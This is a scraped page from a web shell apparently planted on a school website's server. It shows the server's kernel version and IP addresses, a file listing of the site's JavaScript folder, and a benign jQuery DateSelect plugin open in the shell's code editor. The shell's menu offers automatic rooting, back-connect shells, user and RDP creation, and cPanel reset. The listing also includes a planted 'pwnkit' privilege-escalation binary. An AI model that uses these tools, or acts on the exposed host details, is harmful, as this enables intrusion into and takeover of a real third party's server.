Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 3.146.255.161
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
nbspublicschool /
public_html /
nbs_website /
js /
[ HOME SHELL ]
Name
Size
Permission
Action
kd
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
alert.mob.js
1.24
KB
-rw-r--r--
bootstrap-popup.min.js
3.59
KB
-rw-r--r--
bootstrap.js
60.51
KB
-rw-r--r--
conditional.js
1.59
KB
-rw-r--r--
core.js
2.51
KB
-rw-r--r--
demo.js
40.21
KB
-rw-r--r--
jquery-1.12.0.js
95.08
KB
-rw-r--r--
jquery-1.7.2.min.js
92.62
KB
-rw-r--r--
jquery-1.9.1.js
262.09
KB
-rw-r--r--
jquery-3.1.1.min.js
84.68
KB
-rw-r--r--
jquery-ui-1.10.1.min.js
54.57
KB
-rw-r--r--
jquery-ui.min.js
234.13
KB
-rw-r--r--
jquery-validate-additional-met...
35.17
KB
-rw-r--r--
jquery.1.11.min.js
94.12
KB
-rw-r--r--
jquery.dateselect.js
6.38
KB
-rw-r--r--
jquery.datetimepicker.full.js
112.01
KB
-rw-r--r--
jquery.js
90.46
KB
-rw-r--r--
jquery.min.js
90.93
KB
-rw-r--r--
jquery.mousewheel.min.js
2.51
KB
-rw-r--r--
jquery.scroltable.min.js
1.92
KB
-rw-r--r--
jquery.validate.min.js
20.58
KB
-rw-r--r--
jsDatePick.min.1.3.js
26.04
KB
-rw-r--r--
lobibox.min.js
21.37
KB
-rw-r--r--
moment.min.js
33.24
KB
-rw-r--r--
pikaday.js
36.04
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
timepicki.js
12.63
KB
-rw-r--r--
zebra_datepicker.js
25.11
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : jquery.dateselect.js
/** * jQuery DateSelect * @author biohzrdmx <github.com/biohzrdmx> * @version 1.0 * @requires jQuery 1.8+ * @license MIT */ (function($) { // Default options $.dateSelect = { templates: { selector: '<div class="date-select">' + '<div class="date-select popup">' + '<span class="tip"></span>' + '<div class="select day">' + '<a href="#" class="btn-arrow btn-up"><i class="icon icon-up"></i></a>' + '<span class="num">01</span>' + '<span class="text">Thursday</span>' + '<a href="#" class="btn-arrow btn-down"><i class="icon icon-down"></i></a>' + '</div>' + '<div class="select month">' + '<a href="#" class="btn-arrow btn-up"><i class="icon icon-up"></i></a>' + '<span class="num">01</span>' + '<span class="text">September</span>' + '<a href="#" class="btn-arrow btn-down"><i class="icon icon-down"></i></a>' + '</div>' + '<div class="select year">' + '<a href="#" class="btn-arrow btn-up"><i class="icon icon-up"></i></a>' + '<span class="num">2014</span>' + '<a href="#" class="btn-arrow btn-down"><i class="icon icon-down"></i></a>' + '</div>' + '<div class="buttons">' + '<a href="#" class="btn-cancel"><i class="fa fa-times"></i></a>' + '<a href="#" class="btn-ok"><i class="fa fa-check"></i></a>' + '</div>' + '</div>' + '</div>' }, defaults: { container: 'body', element: null, date: new Date().toDateString(), strings: { days: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'], months: ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'] } }, pad: function(num, size) { var s = num+""; while (s.length < size) s = "0" + s; return s; }, update: function(el, date, opts) { var day = el.find('.day'), month = el.find('.month'), year = el.find('.year'), dayNum = day.find('.num'), monthNum = month.find('.num'), yearNum = year.find('.num'), dayText = day.find('.text'), monthText = month.find('.text'), curDay = date.getDate(); curWeekday = date.getDay(); curMonth = date.getMonth(); curYear = date.getFullYear(); // dayNum.text( curDay ); monthNum.text( curMonth + 1 ); yearNum.text( curYear ); dayText.text( opts.strings.days[curWeekday] ); monthText.text( opts.strings.months[curMonth] ); }, show: function(options) { var obj = this, opts = $.extend(true, {}, $.dateSelect.defaults, options), markup = $(obj.templates.selector), date = new Date(opts.date); // Get rid of another popups obj.hide(true); // Initialize value if (opts.element) { if ( typeof opts.element == 'string' ) { opts.element = $(opts.element); } var parts = opts.element.val().match(/(\d{1,2})\/(\d{1,2})\/(\d{4})/); if ( parts && parts.length == 4 ) { date = new Date( parts[3], parts[2] - 1, parts[1] ); } } // Update current selection obj.update(markup, date, opts); // Bind events markup.on('click', '.day .btn-up', function(e) { date.setDate( date.getDate() + 1 ); obj.update(markup, date, opts); e.preventDefault(); }); markup.on('click', '.day .btn-down', function(e) { date.setDate( date.getDate() - 1 ); obj.update(markup, date, opts); e.preventDefault(); }); markup.on('click', '.month .btn-up', function(e) { date.setMonth( date.getMonth() + 1 ); obj.update(markup, date, opts); e.preventDefault(); }); markup.on('click', '.month .btn-down', function(e) { date.setMonth( date.getMonth() - 1 ); obj.update(markup, date, opts); e.preventDefault(); }); markup.on('click', '.year .btn-up', function(e) { date.setFullYear( date.getFullYear() + 1 ); obj.update(markup, date, opts); e.preventDefault(); }); markup.on('click', '.year .btn-down', function(e) { date.setFullYear( date.getFullYear() - 1 ); obj.update(markup, date, opts); e.preventDefault(); }); markup.on('click', '.btn-ok', function(e) { e.preventDefault(); var formatted = obj.pad(date.getDate(), 2) + '/' + obj.pad(date.getMonth() + 1, 2) + '/' + date.getFullYear(); $(opts.element).val(formatted); obj.hide(); }); markup.on('click', '.btn-cancel', function(e) { e.preventDefault(); obj.hide(); }); markup.on('mousewheel', '.day', function(e) { if (e.deltaY > 0) { $('.day .btn-up').trigger('click'); } else if (e.deltaY < 0) { $('.day .btn-down').trigger('click'); } }); markup.on('mousewheel', '.month', function(e) { if (e.deltaY > 0) { $('.month .btn-up').trigger('click'); } else if (e.deltaY < 0) { $('.month .btn-down').trigger('click'); } }); markup.on('mousewheel', '.year', function(e) { if (e.deltaY > 0) { $('.year .btn-up').trigger('click'); } else if (e.deltaY < 0) { $('.year .btn-down').trigger('click'); } }); // Add element to DOM markup.hide(); $(opts.container).append(markup); // Position if (opts.element) { var offset = opts.element.offset(); // markup.css({ left: offset.left + 'px', top: offset.top + opts.element.outerHeight(true) + 15 + 'px' }); } // Show markup.fadeIn(150); }, hide: function(force) { var force = force || false, el = $('.date-select'); if (force) { el.remove(); } else { el.fadeOut(150, el.remove); } } }; // Manual binding $.fn.dateSelect = function(options) { if (!this.length) { return this; } var opts = $.extend(true, {}, $.dateSelect.defaults, options); this.each(function() { var el = $(this), parent = el.parent(); // Bind to the element itself el.on('click', function() { $.dateSelect.show({ element: el }); }); // Does it have a button? parent.find('[data-toggle=select]').on('click', function(e) { e.preventDefault(); if ( $('.date-select:visible').length ) { $.dateSelect.hide(); } else { $.dateSelect.show({ element: el }); } }); }); return this; }; // Data support $('[data-select=date]').each(function() { var el = $(this); el.dateSelect(); }); })(jQuery);
Close